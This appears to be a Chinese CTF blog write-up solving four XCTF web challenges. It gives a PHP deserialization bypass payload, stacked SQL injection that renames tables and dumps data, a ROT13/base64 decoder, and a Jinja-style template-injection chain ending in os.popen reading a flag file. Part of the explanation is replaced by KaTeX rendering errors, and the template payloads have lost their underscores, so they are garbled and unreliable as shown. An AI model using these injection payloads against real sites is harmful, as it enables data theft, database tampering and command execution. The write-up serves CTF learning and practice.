XCTF-web(五)

Web_php_unserialize

在这里插入图片描述

当通过KaTeX parse error: Expected group after '_' at position 42: …erialize,触发魔术方法_̲_wakeup和__destr…this->file)输出文件内容,若KaTeX parse error: Expected group after '_' at position 17: …ile可控,可读取任意文件。 _̲_wakeup 防御:若file不为index.php,会被重置为index.php。可通过属性个数溢出绕过(序列化时声明的属性个数大于实际个数,__wakeup不会执行)。
正则检测:preg_match(‘/[oc]:\d+:/i’, $var)禁止包含o:或c:开头的序列化字符串。可利用NULL 字节截断让正则匹配失败(PHP 中preg_match遇到 NULL 字节会提前终止匹配)。

构造:/index.php?var=?TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

supersqli

在这里插入图片描述

看一下会输出什么

在这里插入图片描述

’1会报错

在这里插入图片描述

1’;show databases – #

在这里插入图片描述

1’;show tables – #

在这里插入图片描述

1’;show columns from 1919810931114514 – #

在这里插入图片描述

1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);-- #
1’ or 1=1 #

在这里插入图片描述

inget

在这里插入图片描述

?id=1’ or 1=1 – #

在这里插入图片描述

web2

在这里插入图片描述

对密文进行 str_rot13 还原:由于 str_rot13 是双向变换,再次应用即可还原。
反转字符串:逆转加密时最后一步的 strrev。
Base64 解码:解开加密时的 base64_encode。
字符 ord 减 1:逆转加密时每个字符 ord+1 的操作。
再次反转字符串:逆转加密时第一步的 strrev。

import base64
def python_decode(string):
    zimu = "abcdefghijklmnopqrstuvwxyz" 
    rot_13 ="" 
    for i in string: 
        if i.isdigit():
            rot_13 += i
        else:
            try:
                rot_13 += zimu[zimu.index(i)-13] 
            except:
                rot_13 += zimu[zimu.index(i.lower())-13].upper()
    fz = rot_13[::-1]
    base = base64.b64decode(fz)
    base = [chr(ord(i)-1) for i in base]
    fz = base[::-1]
    print "".join(fz)

python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")

结果:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

在这里插入图片描述

输入/{{7+7}},测试存在模板注入

在这里插入图片描述

/{{‘’.class}}

在这里插入图片描述

/{{‘’.class.mro}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[168]}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins’eval’}}

在这里插入图片描述

/{{‘’.class.base.base.subclasses()[145].init.globals.builtins[‘eval’](‘import(“os”).popen(“cat fl4g”).read()’)}}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值